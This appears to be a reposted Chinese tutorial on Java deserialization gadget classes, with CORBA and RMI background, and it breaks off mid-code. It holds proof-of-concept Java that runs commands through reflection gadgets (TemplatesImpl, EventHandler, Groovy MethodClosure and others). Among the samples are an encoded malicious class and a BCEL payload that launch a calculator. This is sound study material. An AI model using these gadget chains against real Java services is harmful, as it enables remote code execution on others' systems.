日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > java >内容正文

java

Java反序列化和JNDI注入

發布時間:2024/8/1 java 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Java反序列化和JNDI注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、反序列化常見利用類

利用類的作用:加載類或者執行命令。

// 類加載 (1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以間接調用TemplatesImpl) (2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL) // 反射調用 (3)javax.imageio.ImageIO$ContainsFilter (4)java.beans.EventHandler (5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection // 非JDK自帶 (6)org.codehaus.groovy.runtime.MethodClosure (7)org.codehaus.groovy.runtime.ConvertedClosure (8)groovy.util.Expando

(1)TemplatesImpl

TemplatesImpl用于CommonsBeanutils、Fastjson,其調用鏈如下,核心在于得到惡意類的Class對象。然后執行newInstance()操作觸發static代碼塊中的惡意代碼。

TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()ClassLoader.defineClass()Class.newInstance()

具體調用過程如下:

public synchronized Properties getOutputProperties() {return newTransformer().getOutputProperties(); }public synchronized Transformer newTransformer() throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);}private Translet getTransletInstance() throws TransformerConfigurationException {if (_name == null) return null; // 為了執行到下面的代碼,_name不能為null(_name代表主類的名稱)if (_class == null) defineTransletClasses(); // _class:包含translet類定義的實際類// newInstance時會被轉換為AbstractTranslet,所以惡意類需要繼承自AbstractTransletAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();...return translet; }private void defineTransletClasses() throws TransformerConfigurationException {final int classCount = _bytecodes.length;_class = new Class[classCount];for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes設置為惡意類的字節碼final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}} }Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length); }

Demo如下,其核心在于getTransInstance()會調用defineTransletClasses()加載字節碼為Class,然后.newInstance()進行實例化:

public class TemplateTest {public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";BASE64Decoder decoder=new sun.misc.BASE64Decoder();byte[] classBytes=decoder.decodeBuffer(cmdb64);TemplatesImpl templates=TemplatesImpl.class.newInstance();Field f1=templates.getClass().getDeclaredField("_bytecodes");f1.setAccessible(true);f1.set(templates,new byte[][]{classBytes});Field f2=templates.getClass().getDeclaredField("_name");f2.setAccessible(true);f2.set(templates,"TemplatesImplTest");Field f3=templates.getClass().getDeclaredField("_tfactory");f3.setAccessible(true);f3.set(templates,TransformerFactoryImpl.class.newInstance());templates.getOutputProperties(); // 觸發} }

需要注意引入的包是這兩個(這種更通用,沒有類路徑限制)。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

與之類似的還有這種(類路徑上有需要有Xalan實現)。

import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;

BeanComparator觸發

BeanComparator中的compare方法,參數傳入兩個對象,然后比較這兩個對象的屬性,也就是說getProperty(o1,property)這步會調用o1的property屬性。也就是調用o1這個類中對應的getxxProperty()方法。而TemplatesImpl鏈的入口正是TemplatesImpl.getOutputProperties()所以只需要o1傳入TemplatesImpl,property傳入_outputProperties。

ToStringBean觸發

ToStringBean的toString方法獲取beanClass所有的帶有getter方法的屬性,然后invoke(this.obj)反射調用getter方法,但是這個invoke的限制是不能傳入參數,所以在利用時需要選取無參方法。

getPropertyDescriptorsWithGetters方法如下:

(2)ServiceLoader

先說一下SPI(Service Provider Interface),JDK內置的服務提供發現機制。Service通常指接口/抽象類,Provider則是接口的具體實現。假設Service接口為HelloService,它的實現類Provider可能包括EnglishHelloServiceImpl、ChineseHelloServiceImpl等,
那么可以在/META-INF/services/目錄下創建一個Service的全限定類名命名的文件例如com.axisx.Service,文件的具體內容如下:

com.axisx.impl.EnglishHelloServiceImpl com.axisx.impl.ChineseHelloServiceImpl

這樣就可以直接調用服務對應的各類Provider。

ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class); Iterator<HelloService> it = serviceLoader.iterator(); while (it!=null && it.hasNext()) {DemoService demoService = it.next();}

上一篇提到過BCEL還可以用Class.forName來寫:

ClassLoader classLoader= new ClassLoader();String bcelCode="$$BCEL$$..."; // new ClassLoader().loadClass(bcelCode).newInstance();Class.forName(bcelCode,true,classLoader);

ServiceLoader的內部類LazyIterator中存在Class.forName方法,loader是該內部類構造方法傳入的。

nextService方法的觸發是LazyIterator.next(),那么就需要找到類似this.serviceIterator.hasNext()的代碼來觸發。與ServiceLoader類似的還有ServiceFinder,同樣可以調用Class.forName:

以ServiceFinder為例,cn字符串傳入由內部類ServiceName的className字段控制。生成的ServiceName需要放入LazyIterator1的names數組中。loader由自身構造函數LazyIterator傳入。

private static class LazyIterator<T> implements Iterator<T> {Class<T> service;@NullableClassLoader loader;ServiceFinder.ServiceName[] names;int index;...}private static class ServiceName {final String className;final URL config;public ServiceName(String className, URL config) {this.className = className;this.config = config;}}

由于是內部類用反射來寫。

public class ServiceLoadTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);constructor1.setAccessible(true);String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";Object ServiceNameObj=constructor1.newInstance(bcelCode,null);Object ServiceNameArray= Array.newInstance(ServiceName,1);Array.set(ServiceNameArray,0,ServiceNameObj);Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];constructor2.setAccessible(true);Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());Field f1=LazyIterator.getDeclaredField("names");f1.setAccessible(true);f1.set(LazyIteratorObj,ServiceNameArray);Method m1=LazyIterator.getDeclaredMethod("next"); //觸發m1.setAccessible(true);m1.invoke(LazyIteratorObj,null);} }

(3)ImageIO

javax.imageio.ImageIO$ContainsFilter,一眼看過去就存在明顯的反射,某個類的方法。但是invoke后面只能傳入Object對象,也就是這個方法需要無參。

例如調用ProcessBuilder執行命令:

public class ImageIOTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessBuilder.getConstructor(String[].class);constructor1.setAccessible(true);Object Pro=constructor1.newInstance((Object)cmd);Method m1=ProcessBuilder.getDeclaredMethod("start"); // m1.invoke(Pro);Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);constructor2.setAccessible(true);Object Obj=constructor2.newInstance(m1,"lalala");Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);m2.setAccessible(true);m2.invoke(Obj,Pro);} }

(4)EventHandler

看一下java.beans.EventHandler源碼,invokeInternal同樣用到了反射,并且EventHandler的構造函數,可以控制target和action,最終反射用到的targetMethod是根據target和action生成的所以也是可控。

public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName)

但是想要執行到反射代碼,method名稱不能為hashCode、equals、toString,否則運行不到最后。另外Method的參數要么是空,要么是單個參數。

調用invokeInternal寫個demo:

public class EventHandlerTest {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessBuilder.getConstructor(String[].class);constructor1.setAccessible(true);Object Pro=constructor1.newInstance((Object)cmd);Method m1=ProcessBuilder.getDeclaredMethod("start");Class EventHandler=Class.forName("java.beans.EventHandler");Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);constructor2.setAccessible(true);Object Handler=constructor2.newInstance(Pro,"start",null,null);Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);Object[] objects=new Object[]{Pro};m2.setAccessible(true);m2.invoke(Handler,null,m1,objects);} }

(5)GetterSetterReflection

com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一個invoke的反射調用,但是invoke中只能傳入類對象,無法傳入參數。所以不能采用Runtime.exec(cmd)這種需要傳參的命令執行方法,而是采用ProcessBuilder.start()等無參方法。

public class GetterSetterReflectionTest {public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};Class ProcessCls=Class.forName("java.lang.ProcessBuilder");Constructor constructor1=ProcessCls.getConstructor(String[].class);constructor1.setAccessible(true);Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);Method m1=ProcessCls.getDeclaredMethod("start");m1.setAccessible(true); // m1.invoke(ProcessBuilderObj);Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");Constructor constructor=cls.getConstructor(Method.class,Method.class);constructor.setAccessible(true);Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);GetterObj.get(ProcessBuilderObj);} }

(6)MethodClosure(Groovy)

這個類位于Groovy的jar包,屬于非JDK自帶的類,org.codehaus.groovy.runtime.MethodClosure

doCall方法明顯是反射執行方法,寫腳本測試一下:

public class MethodClosureTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {Object methodArgs="open -a Calculator";MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec"); // methodClosure.call(methodArgs);Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);m1.setAccessible(true);m1.invoke(methodClosure,methodArgs);} }

或者用ProcessBuilder:

public class MethodClosureTest {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {Object obj=null;String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);m1.setAccessible(true);m1.invoke(methodClosure,obj);} }

(7)ConvertedClosure(Groovy)

一個動態代理的Demo,handler需要實現InvocationHandler,重寫了invoke方法,那么在執行Proxy.newProxyInstance時自動調用invoke方法。

public class Main {public static void main(String[] args) {InvocationHandler handler = new InvocationHandler() {@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println(method);if (method.getName().equals("morning")) {System.out.println("Good morning, " + args[0]);}return null;}};Hello hello = (Hello) Proxy.newProxyInstance(Hello.class.getClassLoader(), // 傳入ClassLoadernew Class[] { Hello.class }, // 傳入要實現的接口handler); // 傳入處理調用方法的InvocationHandlerhello.morning("Bob");} }interface Hello {void morning(String name); }

ConvertedClosure的源碼如下,繼承自ConversionHandler:

ConversionHandler實現了InvocationHandler,并重寫了invoke方法。所以如果執行Proxy.newProxyInstance就會調用這個invoke。invoke方法根據傳入的method參數不同進入不同的邏輯。

if:傳入的method所屬類為接口,else if:傳入的method不是Object對象中的方法(如hashcode、toString等),這步的checkMethod具體的判斷代碼是return Object.class.equals(method.getDeclaringClass());所以傳入Runtime.getRuntime.exec這種命令執行方法,會走到else if中,調用ConvertedClosure.invokeCustom(),進而執行call方法,反射執行方法。

所以下面demo中的后兩步就在觸發動態代理的invoke,進而觸發invokeCustom:

public class ConvertedClosureTest {public static void main(String[] args) {String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);map.entrySet();} }

(8)Expando(Groovy)

同樣是調用call方法,只是需要properties中存在一個鍵為hashCode,值為Closure的子類。

利用上述的MethodClosure.call(),也就是將值傳為MethodClosure。

public class ExpandoTest {public static void main(String[] args) {Map map = new HashMap<Expando, Integer>();Expando expando = new Expando();String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start"); // methodClosure.call();expando.setProperty("hashCode", methodClosure);map.put(expando, 123);expando.hashCode();} }

二、CORBA概述

CORBA全稱(Common ObjectRequest Broker Architecture)也就是公共對象請求代理體系結構,是OMG(對象管理組織,一個非盈利性的計算機行業標準協會)制定的一種標準的面向對象應用程序體系規范。其提出是為了解決不同應用程序間的通信,曾是分布式計算的主流技術。
CORBA標準主要分為三個部分,IDL(接口語言)、ORB(對象請求代理)、IIOP(ORB之間的操作協議)。

其結構主要分為三部分:naming service、client side、servant side。它們的關系可以理解成目錄(naming service)與章節內容(servant side)的關系,內容需要現在目錄里進行注冊。

CORBA和Java都采用面向對象技術,并且都適用于開發分布式應用,所不同的是:CORBA偏重于通用的分布式應用開發,而Java注重于WWW環境中的分布式應用開發。

基礎概念

IDL(Interface Definition Language,接口定義語言),它是一種與編程語言無關的對于接口描述的規范,實現跨語言跨環境遠程對象調用。CORBA用的就是基于IDL的OMG IDL(對象管理標準化接口定義語言)。

CORBA中的“ORB”(ObjectRequest Broker,對象請求代理)是一個中間件/代理,建立起服務端與客戶端的關系調用。對象可以在本地也可以在其他服務器上,ORB截獲客戶的調用操作,并查找實現服務的對象,傳遞參數,調用方法并返回結果。

GIOP(General Inter-ORB Protocol ,通用對象請求協議),是CORBA用來進行數據傳輸的協議,針對不同的通訊層有不同的實現。而對于TCP/IP層,其實現名為IIOP(Internet Inter-ORB Protocol),也可以說IIOP是通過TCP協議傳輸的GIOP數據。

過程分析

naming service

ORBD可以理解為ORB的守護進程,其主要負責建立客戶端(client side)與服務端(servant side)的關系,同時負責查找指定的IOR(可互操作對象引用,是一種數據結構,是CORBA標準的一部分)。ORBD是由Java原生支持的一個服務,其在整個CORBA通信中充當著naming service的作用。

IOR

IOR是一種數據結構,提供關于類型、協議支持和可用ORB服務的信息。它通常提供獲取對象的初始引用的方法,可以是命名服務(naming service)、事務服務(transaction services),也可以是定制的CORBA服務。

Stub生成

Stub有很多種生成方式,如:

(1)獲取NameServer然后后通過resolve_str()方法生成(NameServer生成方式)。

Properties properties = new Properties(); properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1"); properties.put("org.omg.CORBA.ORBInitialPort", "1050"); ORB orb = ORB.init(args, properties); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); String name = "Hello"; helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

(2)使用ORB.string_to_object生成(ORB生成方式)。

//第一種 ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello"); Hello hello = HelloHelper.narrow(obj); //第二種 ORB orb = ORB.init(args, null); org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050"); NamingContextExt ncRef = NamingContextExtHelper.narrow(obj); Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));

(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

ORB orb = ORB.init(args, null); Hashtable env = new Hashtable(5, 0.75f); env.put("java.naming.corba.orb", orb); Context ic = new InitialContext(env); Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));

Helloworld Demo

如果要開發一個CORBA的Helloworld,創建一個helloworld.idl:

//helloworld.idl module helloworld{ //module對應了java中的packageinterface HelloWorld{string sayHello();}; };

在java命令行下執行idlj -fall helloworld.idl將IDL語言翻譯成JAVA語言,生成server和client端代碼,然后會生成_HelloWorldStub.java(實現了HelloWorld接口)、HelloWorld.java(未實現接口)、HelloWorldHelper.java(包含幫助函數,用于處理通過網絡傳輸的對象)、HelloWorldHolder.java、HelloWorldOperations.java(IDL聲明的接口)、HelloWorldPOA.java(server的實現接口)。POA(Portable Object Adapter),是CORBA規范的一部分,該類中的方法可以將對象注冊到naming service上。

public class HelloServer {public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {//指定ORB的端口號 -ORBInitialPort 1050args = new String[2];args[0] = "-ORBInitialPort";args[1] = "1050";//創建一個ORB實例ORB orb = ORB.init(args, null);//拿到RootPOA的引用,并激活POAManager,相當于啟動了serverorg.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");POA rootpoa = POAHelper.narrow(obj);rootpoa.the_POAManager().activate();//創建一個HelloWorldImpl實例HelloWorldImpl helloImpl = new HelloWorldImpl();//從服務中得到對象的引用,并注冊到服務中org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);HelloWorld href = HelloWorldHelper.narrow(ref);//得到一個根名稱的上下文org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);//在命名上下文中綁定這個對象String name = "Hello";NameComponent path[] = ncRef.to_name(name);ncRef.rebind(path, href);//啟動線程服務,等待客戶端調用orb.run();System.out.println("server startup...");} public class HelloClient {static HelloWorld helloWorldImpl;static {//初始化ip和端口號,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050String args[] = new String[4];args[0] = "-ORBInitialHost";//server端的IP地址,在HelloServer中定義的args[1] = "127.0.0.1";args[2] = "-ORBInitialPort";//server端的端口,在HelloServer中定義的args[3] = "1050";//創建一個ORB實例ORB orb = ORB.init(args, null);// 獲取根名稱上下文org.omg.CORBA.Object objRef = null;try {objRef = orb.resolve_initial_references("NameService");} catch (InvalidName e) {e.printStackTrace();}NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);String name = "Hello";try {//通過ORB拿到了server實例化好的實現類helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));} catch (NotFound e) {e.printStackTrace();} catch (CannotProceed e) {e.printStackTrace();} catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {e.printStackTrace();}}public static void main(String args[]) throws Exception {sayHello();}//調用實現類的方法public static void sayHello() {String str = helloWorldImpl.sayHello();System.out.println(str);}

三、RMI反序列化漏洞

RMI遠程調用過程

RMI對于遠程對象是將其Stub(類似引用/代理,包含遠程對象的定位信息,如Socket端口、服務端主機地址等)傳遞,客戶端可以像調用本地方法一樣通過Stub調用遠程方法。

客戶端發起請求,請求轉交至RMI客戶端的stub類,stub類將請求的接口、方法、參數等信息進行序列化,然后基于tcp/ip將序列化后的流傳輸至服務器端,轉至skeleton類,該類將請求的信息反序列化后調用實際的類進行處理,然后再將處理結果返回給skeleton類,skeleton類將結果序列化,通過tcp/ip將流傳送給客戶端的stub,stub接收到流后將其反序列化,再將反序列化后的Java Object返回給調用者。

(1)Stub獲取方式

Stub的獲取方式有很多,常見的方法是調用某個遠程服務上的方法,向遠程服務獲取存根。但是調用遠程方法又必須先有遠程對象的Stub,所以這里有個死循環問題。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象,默認監聽在1099端口上,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令。要注冊遠程對象,需要RMI URL和一個遠程對象的引用。

IHello rhello = new HelloImpl(); LocateRegistry.createRegistry(1099);//人工創建RMI注冊服務 Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()會使用給定的主機和端口等信息本地創建一個Stub對象作為Registry遠程對象的代理,從而啟動整個遠程調用邏輯。服務端應用程序可以向RMI注冊表中注冊遠程對象,然后客戶端向RMI注冊表查詢某個遠程對象名稱,來獲取該遠程對象的Stub。

(2)遠程調用邏輯

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099); IHello rhello = (IHello) registry.lookup("hello"); rhello.sayHello("test");

(3)動態加載類

RMI核心特點之一就是動態加載類,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class,java.rmi.server.codebase屬性值表示一個或多個URL位置,可以從中下載本地找不到的類,相當于一個代碼庫。動態加載的對象class文件可以使用Web服務的方式(如http://、ftp://、file://)進行托管??蛻舳耸褂昧伺cRMI注冊表相同的機制。RMI服務端將URL傳遞給客戶端,客戶端通過HTTP請求下載這些類。

無論是客戶端還是服務端要遠程加載類,都需要滿足以下條件:
a.由于Java SecurityManager的限制,默認是不允許遠程加載的,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy,這在后面的利用中可以看到。
b.屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。

(4)JAVA RMI Demo

//接口 public interface Hello extends Remote {public String echo(String message) throws RemoteException; } //接口類實現 public class HelloImpl implements Hello {@Overridepublic String echo(String message) throws RemoteException {if ("quit".equalsIgnoreCase(message.toString())) {System.out.println("Server will be shutdown!");System.exit(0);}System.out.println("Message from client: " + message);return "Server response:" + message;} } //server端 public class Server {public static void main(String[] args) throws Exception {String name = "hello";Hello hello = new HelloImpl();// 生成StubUnicastRemoteObject.exportObject(hello, 1199);/*設置java.rmi.server.codebaseSystem.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);*/// 創建本機 1099 端口上的RMI registryRegistry registry = LocateRegistry.createRegistry(1199);//如果registry已存在Registry reg = LocateRegistry.getRegistry();// 對象綁定到注冊表中registry.rebind(name, hello);} } //client端 public class Client {public static void main(String[] args) throws Exception {// 獲取遠程主機上的注冊表Registry registry = LocateRegistry.getRegistry("localhost", 1199);String name = "hello";// 獲取遠程對象Hello hello = (Hello) registry.lookup(name);while (true) {Scanner sc = new Scanner(System.in);String message = sc.next();// 